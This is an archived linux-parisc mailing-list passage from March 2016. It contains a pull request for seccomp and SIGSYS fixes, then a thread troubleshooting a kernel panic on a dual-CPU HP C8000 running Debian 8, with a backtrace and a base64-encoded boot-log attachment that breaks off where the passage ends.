	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 14:50:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756768AbcCaMuB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 08:50:01 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60668 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756666AbcCaMuA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 08:50:00 -0400
Original-Received: from ls3530.box ([92.203.38.102]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LmrZY-1a4p2f0fzo-00h2kV; Thu, 31 Mar 2016 14:49:49
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:AJKqJgn71g8yDpVPwT/rp0EQgooPtj9MjOWtikKSvYBLQ+mbND9
 krGLuZK17PH61MwMRyziEz7KINgNLrO1Uo+ir4zlR4G3cIgRyFZB5iljzo9mOO/pA5NUAdg
 vzA5rLexsPEIEKEvlgCS9itw08IXS4TQMPhhlEpchbpMXsrBInma6hNlqFey5HTqovt1iwm
 uyU/DPQQvjtE8cj0j+SHA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:EcbxFqj2XrM=:tlpYRqs6whvWUeSPEux9SG
 aWFN2vf+m0RkNK1H0iPzWrBl2ZksxISl17ePUtVmq6CpIPPy97RCrHBVzEu264yROG9jm0q/b
 RhPwansDal2UkWj7I59tSw5eXeiCWgYM5Qs417nyKCMWIHArMqvh+jEJpy7yKqGvdBI3jbept
 4dmpH6AyFb89lLoC3WxXAsfPj8PDoRjFM+fKxtbyOH2tHgcXptGYBJy19KNXVFj3DcYhgax8M
 tN3KyyNvjbcjrMO12OhW/U4Q7GPl3XTzuNT1CK5LxsJZvLXogOup/84FqeCBoAY24CAI0e7jg
 PD03U5CQwYTk1S8Vd1xB5DHoJVSCoYb4BPsSMdhHFbWlDf6n874oHkOAEinKfiM1GkcMbd5u7
 8w7gdv7GXDVTXjLcU5k7m6ebSnERycehgeyW1NxzRTy6wD+bxyuPpfg0NUIj6f3t1L6wc/ReH
 bTxClKCH1Xp0ChfaHnluDbb7qRZuKeKBv1dcCvxng0+9GW/55XlH1vgFLNnQrOd5lzx2tdKu2
 3EAxzKaOsG7f7YcbWGRWR9muOtrqJA09K8Rrf0mdUa1gN8JBah1/EtwJSWQtzL7Yk1y0MPfJY
 36PoHQKC/Iw2vFnAlfbe8i5O9J9Oys42/D/0huQPd6Cz+qvFaP4UsG0dDesiGDukGRYcX3LWS
 LPsGwoR2OwQDeh02yhdaKDfN7GtTkttZPy52P22dtOQQEESDb9fzxefuI3wZ7dmiomGiFAjXr
 02q/tydax9M3poyUgpbx4/KV0ao+L6nqi8T9lYpAtSfBCoGzlPgbkyuC4Rs=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26561 gmane.linux.kernel:2187763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26561>

Hi Linus,

please pull two fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-2

Fix seccomp filter support and SIGSYS signals on compat kernel. Both patches
are tagged for v4.5 stable kernel. 

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc: Fix SIGSYS signals in compat case
      parisc: Fix and enable seccomp filter support

 arch/parisc/Kconfig               |  1 +
 arch/parisc/include/asm/compat.h  |  7 +++++++
 arch/parisc/include/asm/syscall.h | 13 +++++++++++++
 arch/parisc/kernel/ptrace.c       |  9 +++++++--
 arch/parisc/kernel/signal32.c     |  5 +++++
 arch/parisc/kernel/syscall.S      |  2 ++
 6 files changed, 35 insertions(+), 2 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 19:00:44 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459443650 11896 80.91.229.3 (31 Mar 2016 17:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 17:00:50 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 19:00:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alfxf-00076g-5Q
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 19:00:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756559AbcCaRAq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 13:00:46 -0400
Original-Received: from mail-oi0-f52.google.com ([209.85.218.52]:33761 "EHLO
	mail-oi0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752030AbcCaRAp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 13:00:45 -0400
Original-Received: by mail-oi0-f52.google.com with SMTP id d205so68914547oia.0
        for <linux-parisc@vger.kernel.org>; Thu, 31 Mar 2016 10:00:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to;
        bh=7mPkdTiWZj83+lfWuJMkfXxKrTFFRF2PPX/nQQQJZ2k=;
        b=vLAJhlYVRg24RAJf4+xPR6Btc8WSIFUiVnBgtE8ZSQCDUW1k2Zpi8S1yTAfmDKN3Ne
         +Fc/g6Qo3UaTsUIHVakq4EW1vvtzPKlA3P6iPSLKwnqHz6bNKZAl296oYSAmdoP7ff1d
         ufMgMv40EAAzM8GwqZ6n8OOlffywSSpZAOpB6vn2WGYZlmNLLqnx87q1YC6QjrdfvDw4
         SRErGriU5IheCaR+DZn+vG5xemPbmLsbd1bgqoUxNAUvuKB5rfWbL9AJguuBiealY6WO
         eXj4oqLOfa1NNUK6eAmwyN3wXKOT5wqSrLxJAl3Qdrg7ZhXPG1II4QGU7xIm5rtnkrFb
         tEsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to;
        bh=7mPkdTiWZj83+lfWuJMkfXxKrTFFRF2PPX/nQQQJZ2k=;
        b=BP4tyVoBe1kSoJFUt9VRMFiXlyARvenMiQQTDt4nVgcT/bgXlY+y9CQaGu+7oL05pd
         n9sJj/5BPkWkSLaaUCTobKgDrRKKu7vAsPkpn9B808j9IfBktIve4Ai9yr939jnnGVkx
         VKnWF7G3asd6HTURVMmR9pPInItQ7P6oOeIM5vWoAPCIbvfWRYlkWc2oSnOaqBV6tH8V
         45oyPnHtpW4/wkKEGnM7rzRQ3RbYRDKK5ckuFPTLsI+R+Hr+uqiFAfaf/AfE9T2bAFB9
         35VsAszVEAggu33WVtfwH4LNVR4rn1CfzNNEUJ/WVxyqHjUDAxt2yDZUhG04LdCUfV13
         CZ0w==
X-Gm-Message-State: AD7BkJLRdr2hTs4YwbzY7bBSUoeJnwmJUf4NsKXkfGfqreRfdq921eXXl2Gyi6ynQsR32b7iwzSNQI2ExhSyLg==
X-Received: by 10.157.33.2 with SMTP id i2mr212346otb.138.1459443644698; Thu,
 31 Mar 2016 10:00:44 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Thu, 31 Mar 2016 10:00:44 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26562>

Dear All,

I have an HP c8000 with two CPUs (PA-8800, 1GHz four cores) perfectly
working with HP-UX v11: all the hardware is correcly detected and
configured.

I have installed Debian 8.0 "unstable" on a 160G PATA/IDE and on 72G
SCSI disks. Installation looks good, BUT at boot time I have a kernel
panic message (please see below for the details). The behaviour is
deterministic. I'm bootin only with one HD and empty DVD drive.

If you think useful I can post the complete list of boot messages (I'm
working using serial console terminal using Serial_A port).

For the sake of completness, the very same kernel panic arrives using
keyboard and monitor attached to the video card.

The c8000 was perfectly OK with both UP-UX and Linux before the CPU
(from 1 to two PA-8800) upgrade.

Thanks in adavance for your help. In the meanwhile I'm going to
step-back to Debian 5. I will keep up updated.

  Simone Mannori - Italy

//**------------------------------


[   44.548000] sr04-07  0000000000000000 0000000000000000 0000000000000000 00000
00000000000
[   44.548000]
[   44.548000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401f7944 00
000000401f7948
[   44.548000]  IIR: 0ca010dc    ISR: 0000000000000000  IOR: 0000000000000000
[   44.548000]  CPU:        0   CR30: 000000007f87c000 CR31: fffffff0f0e034e0
[   44.548000]  ORIG_R28: 00000000ffff068a
[   44.548000]  IAOQ[0]: handle_irq_event_percpu+0x8c/0x250
[   44.548000]  IAOQ[1]: handle_irq_event_percpu+0x90/0x250
[   44.548000]  RP(r2): handle_percpu_irq+0xac/0xe8
[   44.548000] Backtrace:
[   44.548000]  [<00000000401fcab4>] handle_percpu_irq+0xac/0xe8
[   44.548000]  [<00000000401f6bbc>] generic_handle_irq+0x4c/0x68
[   44.548000]  [<00000000401612a4>] call_on_stack+0x18/0x24
[   44.548000]
<Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
[   44.548000] Kernel panic - not syncing: Bad Address (null pointer deref?)
<Cpu0> 78000c6200e00000  a0e008c01100b009  CC_PAT_ENCODED_FIELD_WARNING
<Cpu0> 76000c6800e00000  0000000000000520  CC_PAT_DATA_FIELD_WARNING
<Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
[   44.548000] ---[ end Kernel panic - not syncing: Bad Address (null pointer de
ref?)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 19:19:44 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <56FD5C30.4020409@gmx.de>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459444810 30413 80.91.229.3 (31 Mar 2016 17:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 17:20:10 +0000 (UTC)
To: Simone Mannori <simone.mannori@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 19:20:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1algGI-0006uM-7D
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 19:20:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756921AbcCaRTv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 13:19:51 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52804 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757337AbcCaRTt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 13:19:49 -0400
Original-Received: from [192.168.20.60] ([92.203.38.102]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MTBLi-1aKhD526go-00SAkz; Thu, 31 Mar 2016 19:19:45
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
X-Provags-ID: V03:K0:YrjxZqMMSq4rfUuuLNGv3wjUqFWlhZIT5L6j5klX2FmeeJRXHqL
 Ow9ysT2LF6gPB3vb8HWa+56rxMXqMlOH53j36WR4pOZLQvbs+zVoOVZc2mbyeWY9kVT/Bwy
 5UhwLM8JsPul/zEyt1ZpE+c+ArIskRzJKobTwmVEgYQE1CrL8cj7pDsDt9Sy0qIzTRXkilM
 Mev4RlJznU4eigQejjnMQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Qj4Vv5ApM3M=:2mrOgFc979Lv9XC9wE5QJd
 pyzCHX53x7qTZrSoKqx/ZHFBdNiWw+orUnutIqMhZn+VnM0/h1nDPbYKx3qlXplA8fItZXPGp
 dpsw/D5Wd9pGothlhWcmwOXvuWcEZiMBYBoBaaRDT1rLSqjl7wsz9/S3z+cyyXinYy/vz6t88
 LBV/bKfW8tuEm6OE2SEtVdtsJPT/RUh41J2FGHISORtZKZWNI1xBALiRJch432vj95tJUQr/p
 7mH6jGvJ5Ugb+ZZ3fY9xV06qi/7TKPHSbM6rhD0/Vp+4f8HMU1QPxNJnStQqJn9ZorcSoPC3D
 NtRohczZLJcXQlgYQNrT7g8MtEqgnhW337gzr6Io3jII6kjhBR+8eX7f9SCXNJplwKiailExP
 +Bzz81wwVRtQOrPvc/AAHMFDT+1SLT4e39ItfqOyTE4WulBQrjScFOVlQAmB5IIo3DCdCvPde
 kzdoWjZMxtO81aXI90NJ8UUBnOVWpdUzLYLFgucKBB12mShfsRAFcUtk4vuekE8ak/6pqsLDV
 daMb0XwhHsQdxWiPjcPtxgtSVeExznzfWxJOlWaXvrhdVj4uMjW3GRAZJkqBr9O0qhYWJTG5m
 IOCGHu7wTrpK2mTKjIi1ViFISFQQBKuiO6WzoiAHf+KRL6B0lNR3VSYi6195t3dsYDNx+VT2E
 OLyo3rog+Ck194LW8JpMM9Kx4+20wzABY2BG+XzroznSQNAcQBsLAR1qcHsybe8A6U1n6UPl0
 vIFiS4GyCj81tvIweNynE3dImgfDzaxJM4snGcG2pa29NHC5L7e5yvZRPYFKt/1neiGpeJNN 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26563>

Hi Simone,

On 31.03.2016 19:00, Simone Mannori wrote:
> I have an HP c8000 with two CPUs (PA-8800, 1GHz four cores) perfectly
> working with HP-UX v11: all the hardware is correcly detected and
> configured.
> 
> I have installed Debian 8.0 "unstable" on a 160G PATA/IDE and on 72G
> SCSI disks. Installation looks good, BUT at boot time I have a kernel
> panic message (please see below for the details). The behaviour is
> deterministic. I'm bootin only with one HD and empty DVD drive.
> 
> If you think useful I can post the complete list of boot messages (I'm
> working using serial console terminal using Serial_A port).
> 
> For the sake of completness, the very same kernel panic arrives using
> keyboard and monitor attached to the video card.
> 
> The c8000 was perfectly OK with both UP-UX and Linux before the CPU
> (from 1 to two PA-8800) upgrade.
> 
> Thanks in adavance for your help. In the meanwhile I'm going to
> step-back to Debian 5. I will keep up updated.

I think Debian 5 will not even install on the C8000..

But you didn't gave any information which kernel version you are using ?

This kernel should be pretty stable on the C8000:
http://backup.parisc-linux.org/kernel/linux-image-4.2.0-1-parisc64-smp_4.2.6-3+b3_hppa.deb

Helge
 
>   Simone Mannori - Italy
> 
> //**------------------------------
> 
> 
> [   44.548000] sr04-07  0000000000000000 0000000000000000 0000000000000000 00000
> 00000000000
> [   44.548000]
> [   44.548000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401f7944 00
> 000000401f7948
> [   44.548000]  IIR: 0ca010dc    ISR: 0000000000000000  IOR: 0000000000000000
> [   44.548000]  CPU:        0   CR30: 000000007f87c000 CR31: fffffff0f0e034e0
> [   44.548000]  ORIG_R28: 00000000ffff068a
> [   44.548000]  IAOQ[0]: handle_irq_event_percpu+0x8c/0x250
> [   44.548000]  IAOQ[1]: handle_irq_event_percpu+0x90/0x250
> [   44.548000]  RP(r2): handle_percpu_irq+0xac/0xe8
> [   44.548000] Backtrace:
> [   44.548000]  [<00000000401fcab4>] handle_percpu_irq+0xac/0xe8
> [   44.548000]  [<00000000401f6bbc>] generic_handle_irq+0x4c/0x68
> [   44.548000]  [<00000000401612a4>] call_on_stack+0x18/0x24
> [   44.548000]
> <Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
> [   44.548000] Kernel panic - not syncing: Bad Address (null pointer deref?)
> <Cpu0> 78000c6200e00000  a0e008c01100b009  CC_PAT_ENCODED_FIELD_WARNING
> <Cpu0> 76000c6800e00000  0000000000000520  CC_PAT_DATA_FIELD_WARNING
> <Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
> [   44.548000] ---[ end Kernel panic - not syncing: Bad Address (null pointer de
> ref?)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 19:44:03 +0200
Lines: 490
Approved: news@gmane.org
Message-ID: <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
	<56FD5C30.4020409@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=089e013c60ece4f4fb052f5bce3e
X-Trace: ger.gmane.org 1459446255 21314 80.91.229.3 (31 Mar 2016 17:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 17:44:15 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 19:44:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1algdd-0000rv-3j
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 19:44:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754538AbcCaRoI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 13:44:08 -0400
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:37969 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752654AbcCaRoE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 13:44:04 -0400
Original-Received: by mail-ig0-f171.google.com with SMTP id ui10so63707870igc.1
        for <linux-parisc@vger.kernel.org>; Thu, 31 Mar 2016 10:44:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=SuSjAtoYkcLnRuSNXOtK6iQbfr81s9gyjd1fckZ2w6g=;
        b=OWb8JEjxzOObrXaJGMcH6sE+oFvWAA4hDKWgcuAMNouzu8QEyWk7YGeeVFnxBNDYvd
         W8HUry5NhlKC1YjWCEDCmS0xiGiDMI3v5mjzAXHHHkOTCAarXCDvXe8DOdjwx8ZL5hFO
         Kuh2c78zQeggPFjBCuPIfrNc14g3t/R2MqdkeLV1cORzPeBphbWXT1EeslwIHx9b7pMz
         hC+CdRzeUSs2E0X6Kx58t0YAp0KlnOdptIwsn4D53IC5sDVkxUMsUe1G5xoye+79aGs/
         rKByuyrlenHfbswMINkysai/LQZNDqzbXZcZIn4XCvWdWtD300QhrHrEFHENC/pL0hhZ
         YOtA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=SuSjAtoYkcLnRuSNXOtK6iQbfr81s9gyjd1fckZ2w6g=;
        b=GYkfwmYVN3+qpn+wMjOQjDlU+8KtWdrEZUPbTH/9OysDeuMidSFoDiqrIcr8FsimYF
         9WoFb4PPv6napFM4dP5cuwnBnf1oVL/U9nZdWw2vM2GPykzSRkp3K12/cXfHYEt1+Doy
         iKPZNgjwJpMe8D4CsE2Y2CNPrQbyYKQnDKi3Ni4iXTDOVN1djbE1Y3b96Q6905SqGZN8
         GFGNPdA5/6TuchKTUYUW8d/qSHevyzx5RET/p+mvWJdljJLUICNeLcHOnDP3NbRFZHyq
         Y8vdsTWDahSq12vurCvsuv5L1UdYCpozmcPwC3nvuNLqwURKpmevqaI/M6S4i168fh0E
         YJkw==
X-Gm-Message-State: AD7BkJKX2sVmLyBMFoFS6qeExRMXG+MbZwexC4WbfdAizLTCirmqqrUJsHTeQSgSSLh6xh95V9IvVY0zZW9dLw==
X-Received: by 10.50.112.137 with SMTP id iq9mr187184igb.19.1459446243185;
 Thu, 31 Mar 2016 10:44:03 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Thu, 31 Mar 2016 10:44:03 -0700 (PDT)
In-Reply-To: <56FD5C30.4020409@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26564>

--089e013c60ece4f4fb052f5bce3e
Content-Type: text/plain; charset=UTF-8

> I think Debian 5 will not even install on the C8000..
>

Correct: the boot DVD hang after a while.

> But you didn't gave any information which kernel version you are using ?
>
> This kernel should be pretty stable on the C8000:
> http://backup.parisc-linux.org/kernel/linux-image-4.2.0-1-parisc64-smp_4.2.6-3+b3_hppa.deb
>

The Debian 8.0 ( "debian-8.0-hppa-CD-1.iso") has configured this kernel:

Linux version 3.16.0-4-parisc64-smp (debian-kernel@lists.debian.org)
(gcc version 4.8.4 (GCC) ) #1 SMP Debian 3.16.7-ckt4-3 (2015-02-03)

I'm attaching the full set of booting message.

Probably you have a more recent kernel because AFTER the installation
you have updated the full distro with more recent packages.
Unfortunately, with this configuration, I can't boot.
I would like to avoid the de-installation of the second processor.

Thanks in advance for your help.

  Simone Mannori - Italy

--089e013c60ece4f4fb052f5bce3e
Content-Type: text/plain; charset=US-ASCII; name="capture.txt"
Content-Disposition: attachment; filename="capture.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_imgklqt70

VF9MT0FEX0lQTF9PVEhSX1BBVEgNCg08Q3B1MD4gMTYwMDEyY2IwMGUwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMCAgQ0NfTVBTX1NMQVZFX1dBS0VVUF9BTEwNCg08Q3B1MD4gMTYwMDEyY2QwMGUwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMiAgQ0NfTVBTX1NMQVZFX1dBS0VVUA0KDTxDcHUwPiAwODAwMTJj
ZTAwZTAwMDAwICAwMDAwMDBmMGYwZDA3ODYwICBDQ19NUFNfU0xBVkVfV0FLRV9GVU5DDQoNPENw
dTI+IDE2MDAxMmQ1MDJlMDAwMDAgIDAyMDAwMjAwMDAwMDAwMTcgIENDX01QU19TTEFWRV9BV0FL
RQ0KDTxDcHUwPiAxNjAwMTJjZDAwZTAwMDAwICAwMDAwMDAwMDAwMDAwMDAzICBDQ19NUFNfU0xB
VkVfV0FLRVVQDQoNPENwdTI+IDA4MDAxMmQ2MDJlMDAwMDAgIDAwMDAwMGYwZjBkMDc4NjAgIEND
X01QU19TTEFWRV9XQUtFX0FERFINCg08Q3B1MD4gMDgwMDEyY2UwMGUwMDAwMCAgMDAwMDAwZjBm
MGQwNzg2MCAgQ0NfTVBTX1NMQVZFX1dBS0VfRlVOQw0KDTxDcHUzPiAxNjAwMTJkNTAzZTAwMDAw
ICAwMzAwMDIwMDAwMDAwMDE3ICBDQ19NUFNfU0xBVkVfQVdBS0UNCg08Q3B1Mj4gMDMwMDA5NjMw
MmUwMDAwMCAgMDAwMDAwMDAwODAwMDAwOCAgQ0NfQk9PVF9NRU1fQ1BVX1JFTkRFWlZPVVMNCg08
Q3B1MD4gMTYwMDEyY2QwMGUwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMSAgQ0NfTVBTX1NMQVZFX1dB
S0VVUA0KDTxDcHUzPiAwODAwMTJkNjAzZTAwMDAwICAwMDAwMDBmMGYwZDA3ODYwICBDQ19NUFNf
U0xBVkVfV0FLRV9BRERSDQoNPENwdTI+IDE2MDAxMmQzMDJlMDAwMDAgIDAyMDA5MDAwMDAwMDAw
MDAgIENDX01QU19TTEFWRV9TTEVFUElORw0KDTxDcHUwPiAwODAwMTJjZTAwZTAwMDAwICAwMDAw
MDBmMGYwZDA3ODYwICBDQ19NUFNfU0xBVkVfV0FLRV9GVU5DDQoNPENwdTE+IDE2MDAxMmQ1MDFl
MDAwMDAgIDAxMDAwMjAwMDAwMDAwMTcgIENDX01QU19TTEFWRV9BV0FLRQ0KDTxDcHUzPiAwMzAw
MDk2MzAzZTAwMDAwICAwMDAwMDAwMDA4MDAwMDA4ICBDQ19CT09UX01FTV9DUFVfUkVOREVaVk9V
Uw0KDTxDcHUyPiAwODAwMTJkNDAyZTAwMDAwICAwMDAwMDBmMGYwZDA3ZGMwICBDQ19NUFNfU0xB
VkVfU0xFRVBfQUREUg0KDTxDcHUwPiAwMDAwMDk3YzAwZTAwMDAwICAwMDAwOTAwMDAxMDAwMGZm
ICBDQ19CT09UX01PTkFSQ0hfU0xBVkVfQ0hFQ0sNCg08Q3B1MT4gMDgwMDEyZDYwMWUwMDAwMCAg
MDAwMDAwZjBmMGQwNzg2MCAgQ0NfTVBTX1NMQVZFX1dBS0VfQUREUg0KDTxDcHUzPiAxNjAwMTJk
MzAzZTAwMDAwICAwMzAwOTAwMDAwMDAwMDAwICBDQ19NUFNfU0xBVkVfU0xFRVBJTkcNCg08Q3B1
MD4gMTYwMDEyY2YwMGUwMDAwMCAgMDAwMDkwMDAwMTAwMDAwZSAgQ0NfTVBTX0NQVV9XQUlUSU5H
DQoNPENwdTE+IDAzMDAwOTYzMDFlMDAwMDAgIDAwMDAwMDAwMDgwMDAwMDggIENDX0JPT1RfTUVN
X0NQVV9SRU5ERVpWT1VTDQoNPENwdTM+IDA4MDAxMmQ0MDNlMDAwMDAgIDAwMDAwMGYwZjBkMDdk
YzAgIENDX01QU19TTEFWRV9TTEVFUF9BRERSDQoNPENwdTE+IDE2MDAxMmQzMDFlMDAwMDAgIDAx
MDA5MDAwMDAwMDAwMDAgIENDX01QU19TTEFWRV9TTEVFUElORw0KDTxDcHUxPiAwODAwMTJkNDAx
ZTAwMDAwICAwMDAwMDBmMGYwZDA3ZGMwICBDQ19NUFNfU0xBVkVfU0xFRVBfQUREUg0KDTxDcHUw
PiAxNjAwMTJkMDAwZTAwMDAwICAwMDAwOTAwMDAxMDAwMDAwICBDQ19NUFNfQ1BVX1dBSVRfT1ZF
Ug0KDQ0KDQpIQVJEIEJvb3RlZC4NCjxDcHUwPiAwMDAwMTA5ODAwZTAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwICBDQ19CT09UX0xBVU5DSF9JUExfT1RIUg0KDTxDcHUwPiAwMTAwMTQyOTAwZTAwMDAw
